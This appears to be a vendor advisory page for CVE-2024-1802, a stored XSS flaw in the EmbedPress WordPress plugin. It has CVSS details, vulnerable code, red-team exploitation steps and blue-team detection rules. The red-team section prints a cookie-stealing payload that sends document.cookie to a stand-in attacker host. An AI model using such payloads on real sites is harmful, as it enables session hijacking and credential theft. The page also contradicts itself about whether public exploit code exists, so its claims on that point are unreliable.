CVE-2024-1802
Executive Summary
CVE-2024-1802 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to and including 3.9.10). The flaw resides in the plugin's Wistia embed block, where insufficient input sanitization and output escaping on user-supplied URLs allow authenticated attackers with contributor-level or higher permissions to inject arbitrary web scripts. When a victim accesses a page containing the malicious embed, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and currently has no known public exploit or patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The EmbedPress plugin is distributed via the official WordPress plugin repository and is installed on thousands of sites. Since the patch status is unknown, users must rely on manual mitigation or disabling the Wistia embed block until an update is released.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level or above)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication but can be exploited by low-privileged users. The stored XSS can affect all visitors to the compromised page.
Deep Dive & Mechanics
The vulnerability exists in the Wistia embed block handler of the EmbedPress plugin. When a user inserts a Wistia URL into the block, the plugin fails to properly sanitize the input and escape the output. Specifically, the url parameter is not validated against a whitelist of allowed domains or sanitized for malicious JavaScript. An attacker can craft a URL like:
javascript:alert(document.cookie)
or a data URI containing XSS payloads. Since the plugin outputs the URL directly into the page without proper escaping, the browser interprets the malicious code.
The vulnerable code likely resides in the block's render callback, where the URL is inserted into an iframe src attribute or similar HTML context without using esc_url() or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (<= 3.9.10):
// In the Wistia embed block render function
$url = $attributes['url'];
echo '<iframe src="' . $url . '"></iframe>';
Patched Code (Hypothetical):
$url = esc_url($attributes['url'], array('https', 'http'));
if (strpos($url, 'wistia.com') === false) {
return; // or show error
}
echo '<iframe src="' . $url . '"></iframe>';
The patch would involve:
- Using
esc_url()to sanitize the URL. - Validating that the URL belongs to the allowed domain (wistia.com).
- Possibly using
wp_kses()for additional context-aware escaping.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with EmbedPress plugin <= 3.9.10
- Contributor-level account or higher
Steps:
- Log in as a contributor.
- Create a new post or page.
- Add the EmbedPress Wistia block.
- In the URL field, enter a malicious payload such as:
or a more sophisticated payload:javascript:alert('XSS')data:text/html,<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- When any user visits the post, the XSS executes.
Note: No public exploit code is available at this time.
Blue Team
Detection:
- Monitor for posts/pages containing unusual iframe
srcattributes. - Look for Wistia embed blocks with URLs not matching
*.wistia.com. - Review contributor-level user activity for suspicious block insertions.
Mitigation:
- Disable the Wistia embed block via WordPress filters:
add_filter('embedpress_block_register', function($blocks) { unset($blocks['wistia']); return $blocks; }); - Use a Web Application Firewall (WAF) to block
javascript:anddata:URIs in post content. - Restrict contributor permissions or require approval for posts containing embeds.
Indicators of Compromise (IOCs)
- Network: Outbound connections to attacker-controlled domains from WordPress admin or frontend.
- File: Modified post/page content containing
javascript:ordata:URIs in iframesrcattributes. - Log: WordPress audit logs showing creation of posts with Wistia embed blocks by contributors.
- Browser: Execution of unexpected JavaScript on pages containing EmbedPress Wistia blocks.
Detection Engineering
YARA Rule
rule CVE_2024_1802_EmbedPress_XSS {
meta:
description = "Detects malicious Wistia embed URLs in WordPress posts"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1802"
strings:
$wp_post = /wp:embedpress\/wistia/
$malicious_url = /(javascript|data):/
condition:
$wp_post and $malicious_url
}
Sigma Rule
title: CVE-2024-1802 EmbedPress Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via EmbedPress Wistia block
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains:
- 'wp-json/wp/v2/posts'
- 'wp-json/wp/v2/pages'
http.request_body|contains:
- 'embedpress/wistia'
- 'javascript:'
- 'data:'
condition: selection
falsepositives:
- Legitimate use of data URIs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1802 EmbedPress Stored XSS Attempt"; flow:to_server; content:"embedpress/wistia"; http_client_body; nocase; content:"javascript:"; http_client_body; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Wistia embed block until a patch is released (see Blue Team section).
- Restrict contributor permissions – only allow trusted users to create posts.
- Enable WordPress security plugins (e.g., Wordfence, Sucuri) to detect and block XSS attempts.
Long-term Fix:
- Apply the official patch once released by the EmbedPress vendor.
- Update to the latest version of EmbedPress (if a patched version becomes available).
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Use a custom filter to sanitize Wistia URLs:
add_filter('embedpress_wistia_url', function($url) { $allowed_hosts = array('wistia.com', 'fast.wistia.com'); $parsed = parse_url($url); if (!in_array($parsed['host'], $allowed_hosts)) { return ''; } return esc_url($url); });
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.